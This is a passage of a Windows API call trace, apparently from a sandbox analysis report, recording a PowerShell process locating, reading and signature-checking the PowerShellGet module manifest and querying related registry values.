lpOldMode=0x572ef4c) returned 1 [0113.934] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0113.935] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0113.935] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x378880 [0113.935] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.935] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.935] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.935] FindClose (in: hFindFile=0x378880 | out: hFindFile=0x378880) returned 1 [0113.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0113.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0113.935] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.935] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572eca0) returned 1 [0113.936] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572ef64 | out: lpFileInformation=0x572ef64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec9c) returned 1 [0113.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ecc4) returned 1 [0113.939] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x21fd72c | out: lpFileInformation=0x21fd72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecc0) returned 1 [0113.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ee2c) returned 1 [0113.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.940] GetFileType (hFile=0x3c8) returned 0x1 [0113.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ee28) returned 1 [0113.940] GetFileType (hFile=0x3c8) returned 0x1 [0113.941] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x0 [0113.941] ReadFile (in: hFile=0x3c8, lpBuffer=0x21fe504, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x21fe504*, lpNumberOfBytesRead=0x572ee94*=0x1000, lpOverlapped=0x0) returned 1 [0113.984] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x1000 [0113.984] ReadFile (in: hFile=0x3c8, lpBuffer=0x21fe504, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x21fe504*, lpNumberOfBytesRead=0x572ee94*=0xde, lpOverlapped=0x0) returned 1 [0113.994] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x10de [0113.995] ReadFile (in: hFile=0x3c8, lpBuffer=0x21fe504, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x21fe504*, lpNumberOfBytesRead=0x572ee94*=0x0, lpOverlapped=0x0) returned 1 [0113.995] CloseHandle (hObject=0x3c8) returned 1 [0113.999] CoCreateGuid (in: pguid=0x572eed4 | out: pguid=0x572eed4*(Data1=0x507ad5de, Data2=0x5892, Data3=0x4d24, Data4=([0]=0x87, [1]=0x34, [2]=0x66, [3]=0x52, [4]=0x49, [5]=0xd9, [6]=0xba, [7]=0x5c))) returned 0x0 [0114.004] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c8 [0114.004] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3e8 [0114.005] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ec [0114.005] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f0 [0114.005] SetEvent (hEvent=0x3f0) returned 1 [0114.005] SetEvent (hEvent=0x3c8) returned 1 [0114.005] SetEvent (hEvent=0x3e8) returned 1 [0114.005] SetEvent (hEvent=0x3ec) returned 1 [0114.006] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f4 [0114.006] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.137] EtwEventActivityIdControl () returned 0x0 [0114.137] EtwEventActivityIdControl () returned 0x0 [0114.137] EtwEventActivityIdControl () returned 0x0 [0114.235] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0114.243] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.243] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.244] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572e80c, Length=0x20, ResultLength=0x572e87c | out: SystemInformation=0x572e80c, ResultLength=0x572e87c*=0x0) returned 0xc0000003 [0114.244] GetSystemInfo (in: lpSystemInfo=0x572e888 | out: lpSystemInfo=0x572e888*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0114.244] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572e818 | out: phkResult=0x572e818*=0x3f8) returned 0x0 [0114.244] RegQueryValueExW (in: hKey=0x3f8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572e834, lpData=0x0, lpcbData=0x572e830*=0x0 | out: lpType=0x572e834*=0x0, lpData=0x0, lpcbData=0x572e830*=0x0) returned 0x2 [0114.244] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.250] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.250] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e790) returned 1 [0114.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0114.251] GetFileType (hFile=0x3f8) returned 0x1 [0114.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e78c) returned 1 [0114.251] GetFileType (hFile=0x3f8) returned 0x1 [0114.251] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572e7cc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572e7cc*=0) returned 0x0 [0114.251] ReadFile (in: hFile=0x3f8, lpBuffer=0x2221b1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2221b1c*, lpNumberOfBytesRead=0x572e7f8*=0x1000, lpOverlapped=0x0) returned 1 [0114.252] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572e7cc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572e7cc*=0) returned 0x1000 [0114.252] ReadFile (in: hFile=0x3f8, lpBuffer=0x2221b1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2221b1c*, lpNumberOfBytesRead=0x572e7f8*=0xde, lpOverlapped=0x0) returned 1 [0114.252] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572e7cc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572e7cc*=0) returned 0x10de [0114.252] ReadFile (in: hFile=0x3f8, lpBuffer=0x2221b1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2221b1c*, lpNumberOfBytesRead=0x572e7f8*=0x0, lpOverlapped=0x0) returned 1 [0114.252] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572e760, Length=0x20, ResultLength=0x572e7d0 | out: SystemInformation=0x572e760, ResultLength=0x572e7d0*=0x0) returned 0xc0000003 [0114.253] GetSystemInfo (in: lpSystemInfo=0x572e7dc | out: lpSystemInfo=0x572e7dc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0114.253] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572e76c | out: phkResult=0x572e76c*=0x3fc) returned 0x0 [0114.253] RegQueryValueExW (in: hKey=0x3fc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572e788, lpData=0x0, lpcbData=0x572e784*=0x0 | out: lpType=0x572e788*=0x0, lpData=0x0, lpcbData=0x572e784*=0x0) returned 0x2 [0114.253] RegCloseKey (hKey=0x3fc) returned 0x0 [0114.253] CloseHandle (hObject=0x3f8) returned 1 [0114.255] CoCreateGuid (in: pguid=0x572e85c | out: pguid=0x572e85c*(Data1=0x141754bd, Data2=0x326c, Data3=0x445a, Data4=([0]=0x91, [1]=0xd0, [2]=0x21, [3]=0x31, [4]=0xd4, [5]=0xda, [6]=0xb4, [7]=0xd2))) returned 0x0 [0114.259] QueryPerformanceCounter (in: lpPerformanceCount=0x572e5bc | out: lpPerformanceCount=0x572e5bc*=1175523586189) returned 1 [0114.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e2a8) returned 1 [0114.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e56c | out: lpFileInformation=0x572e56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0114.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e2a4) returned 1 [0114.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e23c) returned 1 [0114.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e500 | out: lpFileInformation=0x572e500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0114.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e238) returned 1 [0114.260] CoTaskMemAlloc (cb=0x10) returned 0x3d9a38 [0114.260] CoTaskMemAlloc (cb=0x10) returned 0x3d9a98 [0114.260] CoTaskMemAlloc (cb=0xb4) returned 0x3c60a0 [0114.260] CoTaskMemAlloc (cb=0x30) returned 0x3e9670 [0114.260] WinVerifyTrust () returned 0x800b0100 [0114.272] CoTaskMemFree (pv=0x3d9a38) [0114.272] CoTaskMemFree (pv=0x3e9670) [0114.272] CryptCATHandleFromStore () returned 0x3408a0 [0114.272] WTHelperGetProvSignerFromChain () returned 0x0 [0114.272] CoTaskMemAlloc (cb=0x10) returned 0x3d9a38 [0114.272] CoTaskMemAlloc (cb=0x30) returned 0x3e9670 [0114.272] WinVerifyTrust () returned 0x0 [0114.272] CoTaskMemFree (pv=0x3e9670) [0114.272] CoTaskMemFree (pv=0x3d9a38) [0114.272] CoTaskMemFree (pv=0x3c60a0) [0114.272] CoTaskMemFree (pv=0x3d9a98) [0114.570] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0114.570] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0114.630] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.635] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0114.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x47, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0114.740] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572def8 | out: phkResult=0x572def8*=0x3f8) returned 0x0 [0114.741] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df18, lpData=0x0, lpcbData=0x572df14*=0x0 | out: lpType=0x572df18*=0x1, lpData=0x0, lpcbData=0x572df14*=0x56) returned 0x0 [0114.741] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df18, lpData=0x224e73c, lpcbData=0x572df14*=0x56 | out: lpType=0x572df18*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df14*=0x56) returned 0x0 [0114.741] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.745] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.750] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.751] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.751] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572def8 | out: phkResult=0x572def8*=0x3f8) returned 0x0 [0114.751] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df18, lpData=0x0, lpcbData=0x572df14*=0x0 | out: lpType=0x572df18*=0x1, lpData=0x0, lpcbData=0x572df14*=0x56) returned 0x0 [0114.751] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572df18, lpData=0x225bf10, lpcbData=0x572df14*=0x56 | out: lpType=0x572df18*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572df14*=0x56) returned 0x0 [0114.751] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.756] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.761] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.765] GetFileAttributesW (lpFileName="C:\\Program Files 